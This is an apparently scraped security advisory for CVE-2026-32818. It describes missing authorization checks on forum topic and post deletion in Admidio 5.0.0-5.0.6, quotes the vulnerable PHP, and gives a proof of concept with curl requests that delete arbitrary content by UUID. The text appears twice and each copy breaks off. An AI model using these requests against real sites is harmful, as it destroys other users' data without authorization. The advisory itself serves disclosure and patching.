CVE-2026-32818

Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, the forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the topic_delete and post_delete actions in forum.php only validate the CSRF token but perform no authorization check before calling delete(). Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID. This is inconsistent with the save/edit operations, which properly check isAdministratorForum() and ownership before allowing modifications. Any logged-in user can permanently and irreversibly delete any forum topic (including all its posts) or any individual post by simply knowing its UUID (which is publicly visible in URLs), completely bypassing authorization checks. This issue has been fixed in version 5.0.7.

Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, the forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the topic_delete and post_delete actions in forum.php only validate the CSRF token but perform no authorization check before calling delete(). Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID. This is inconsistent with the save/edit operations, which properly check isAdministratorForum() and ownership before allowing modifications. Any logged-in user can permanently and irreversibly delete any forum topic (including all its posts) or any individual post by simply knowing its UUID (which is publicly visible in URLs), completely bypassing authorization checks. This issue has been fixed in version 5.0.7.

Summary

The forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the topic_delete and post_delete actions in forum.php only validate the CSRF token but perform no authorization check before calling delete(). Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID.

This is inconsistent with the save/edit operations, which properly check isAdministratorForum() and ownership before allowing modifications.

Details

Vulnerable Code Path 1: Topic Deletion

File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 98-108

The topic_delete handler validates CSRF but never calls $topic->isEditable():

case 'topic_delete':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    $topic = new Topic($gDb);
    $topic->readDataByUuid($getTopicUUID);
    $topic->delete();
    echo json_encode(array('status' => 'success'));
    break;

The Topic class has an isEditable() method (lines 144-164 of ListConfiguration.php) that properly checks isAdministratorForum() and getAllEditableCategories('FOT'), but it is never called in the delete path.

Vulnerable Code Path 2: Post Deletion

File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 125-134

The post_delete handler also validates CSRF but performs no authorization check:

case 'post_delete':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    $post = new Post($gDb);
    $post->readDataByUuid($getPostUUID);
    $post->delete();
    echo json_encode(array('status' => 'success'));
    break;

Contrast with Save Operations (Properly Authorized)

The ForumTopicService::savePost() method in D:\bugcrowd\admidio\repo\src\Forum\Service\ForumTopicService.php lines 117-121 correctly verifies authorization:

if ($postUUID !== '') {
    $post->readDataByUuid($postUUID);
    if (!$gCurrentUser->isAdministratorForum() && $post->getValue('fop_usr_id_create') !== $gCurrentUser->getValue('usr_id')) {
        throw new Exception('You are not allowed to edit this post.');
    }
}

The delete operations should have equivalent checks but do not.

Module-Level Access Check

File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 53-59

The only check before the delete operations is the module-level access check:

if ($gSettingsManager->getInt('forum_module_enabled') === 0) {
    throw new Exception('SYS_MODULE_DISABLED');
} elseif ($gSettingsManager->getInt('forum_module_enabled') === 1
    && !in_array($getMode, array('cards', 'list', 'topic')) && !$gValidLogin) {
    throw new Exception('SYS_NO_RIGHTS');
}

This only ensures the user is logged in for write operations. It does not check whether the user has forum admin rights or is the author of the content being deleted.

PoC

Prerequisites: Two user accounts - a regular logged-in user (attacker) and a forum admin who has created topics and posts.

Step 1: Attacker discovers a topic UUID

The attacker visits any forum topic page. Topic UUIDs are visible in the URL and page source.

Step 2: Attacker deletes the topic (and all its posts)

curl -X POST "https://TARGET/adm_program/modules/forum.php?mode=topic_delete&topic_uuid=<TOPIC_UUID>" \
  -H "Cookie: ADMIDIO_SESSION_ID=<attacker_session>" \
  -d "adm_csrf_token=<attacker_csrf_token>"

Expected response: {"status":"success"}

The topic and all its posts are permanently deleted from the database.

Step 3: Attacker deletes an individual post

curl -X POST "https://TARGET/adm_program/modules/forum.php?mode=post_delete&post_uuid=<POST_UUID>" \
  -H "Cookie: ADMIDIO_SESSION_ID=<attacker_session>" \
  -d "adm_csrf_token=<attacker_csrf_token>"

Expected response: {"status":"success"}

##…

Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, the forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the topic_delete and post_delete actions in forum.php only validate the CSRF token but perform no authorization check before calling delete(). Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID. This is inconsistent with the save/edit operations, which properly check isAdministratorForum() and ownership before allowing modifications. Any logged-in user can permanently and irreversibly delete any forum topic (including all its posts) or any individual post by simply knowing its UUID (which is publicly visible in URLs), completely bypassing authorization checks. This issue has been fixed in version 5.0.7.

Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, the forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the topic_delete and post_delete actions in forum.php only validate the CSRF token but perform no authorization check before calling delete(). Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID. This is inconsistent with the save/edit operations, which properly check isAdministratorForum() and ownership before allowing modifications. Any logged-in user can permanently and irreversibly delete any forum topic (including all its posts) or any individual post by simply knowing its UUID (which is publicly visible in URLs), completely bypassing authorization checks. This issue has been fixed in version 5.0.7.

Summary

The forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the topic_delete and post_delete actions in forum.php only validate the CSRF token but perform no authorization check before calling delete(). Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID.

This is inconsistent with the save/edit operations, which properly check isAdministratorForum() and ownership before allowing modifications.

Details

Vulnerable Code Path 1: Topic Deletion

File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 98-108

The topic_delete handler validates CSRF but never calls $topic->isEditable():

case 'topic_delete':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    $topic = new Topic($gDb);
    $topic->readDataByUuid($getTopicUUID);
    $topic->delete();
    echo json_encode(array('status' => 'success'));
    break;

The Topic class has an isEditable() method (lines 144-164 of ListConfiguration.php) that properly checks isAdministratorForum() and getAllEditableCategories('FOT'), but it is never called in the delete path.

Vulnerable Code Path 2: Post Deletion

File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 125-134

The post_delete handler also validates CSRF but performs no authorization check:

case 'post_delete':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    $post = new Post($gDb);
    $post->readDataByUuid($getPostUUID);
    $post->delete();
    echo json_encode(array('status' => 'success'));
    break;

Contrast with Save Operations (Properly Authorized)

The ForumTopicService::savePost() method in D:\bugcrowd\admidio\repo\src\Forum\Service\ForumTopicService.php lines 117-121 correctly verifies authorization:

if ($postUUID !== '') {
    $post->readDataByUuid($postUUID);
    if (!$gCurrentUser->isAdministratorForum() && $post->getValue('fop_usr_id_create') !== $gCurrentUser->getValue('usr_id')) {
        throw new Exception('You are not allowed to edit this post.');
    }
}

The delete operations should have equivalent checks but do not.

Module-Level Access Check

File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 53-59

The only check before the delete operations is the module-level access check:

if ($gSettingsManager->getInt('forum_module_enabled') === 0) {
    throw new Exception('SYS_MODULE_DISABLED');
} elseif ($gSettingsManager->getInt('forum_module_enabled') === 1
    && !in_array($getMode, array('cards', 'list', 'topic')) && !$gValidLogin) {
    throw new Exception('SYS_NO_RIGHTS');
}

This only ensures the user is logged in for write operations. It does not check whether the user has forum admin rights or is the author of the content being deleted.

PoC

Prerequisites: Two user accounts - a regular logged-in user (attacker) and a forum admin who has created topics and posts.

Step 1: Attacker discovers a topic UUID

The attacker visits any forum topic page. Topic UUIDs are visible in the URL and page source.

Step 2: Attacker deletes the topic (and all its posts)

curl -X POST "https://TARGET/adm_program/modules/forum.php?mode=topic_delete&topic_uuid=<TOPIC_UUID>" \
  -H "Cookie: ADMIDIO_SESSION_ID=<attacker_session>" \
  -d "adm_csrf_token=<attacker_csrf_token>"

Expected response: {"status":"success"}

The topic and all its posts are permanently deleted from the database.

Step 3: Attacker deletes an individual post

curl -X POST "https://TARGET/adm_program/modules/forum.php?mode=post_delete&post_uuid=<POST_UUID>" \
  -H "Cookie: ADMIDIO_SESSION_ID=<attacker_session>" \
  -d "adm_csrf_token=<attacker_csrf_token>"

Expected response: {"status":"success"}

##…